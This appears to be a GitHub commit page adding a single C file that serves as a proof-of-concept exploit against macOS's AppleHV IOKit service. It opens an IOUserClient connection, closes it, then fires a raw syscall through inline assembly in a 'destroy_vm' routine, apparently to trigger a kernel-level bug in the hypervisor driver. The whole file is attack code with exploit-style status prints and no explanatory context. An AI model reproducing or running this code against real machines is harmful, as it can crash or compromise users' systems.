File tree Expand file tree Collapse file tree 1 file changed +36
-0
lines changed Expand file tree Collapse file tree 1 file changed +36
-0
lines changed Original file line number Diff line number Diff line change 1+ #include <IOKit/IOKitLib.h>
2+ #include <mach/mach.h>
3+ #include <unistd.h>
4+ #include <stdio.h>
5+
6+ void destroy_vm () {
7+ asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall" );
8+ return ;
9+ }
10+
11+ int main (int argc , char * * argv ) {
12+
13+ const char * service_name = "AppleHV" ;
14+
15+ io_service_t service =
16+ IOServiceGetMatchingService (kIOMasterPortDefault , IOServiceMatching (service_name ));
17+ if (service == MACH_PORT_NULL ) {
18+ printf ("[-] Cannot get matching service of %s\n" , service_name );
19+ return 0 ;
20+ }
21+ printf ("[+] Get matching service of %s succeed, service=0x%x\n" , service_name , service );
22+
23+ io_connect_t client = MACH_PORT_NULL ;
24+ kern_return_t ret = IOServiceOpen (service , mach_task_self (), 0 , & client );
25+ if (ret != KERN_SUCCESS ) {
26+ printf ("[-] Open service of %s failed!\n" , service_name );
27+ return 0 ;
28+ }
29+ printf ("[+] Create IOUserClient of %s succeed, client=0x%x\n" , service_name , client );
30+
31+ IOServiceClose (client );
32+ usleep (5 );
33+ destroy_vm ();
34+
35+ return 0 ;
36+ }
You can’t perform that action at this time.
0 commit comments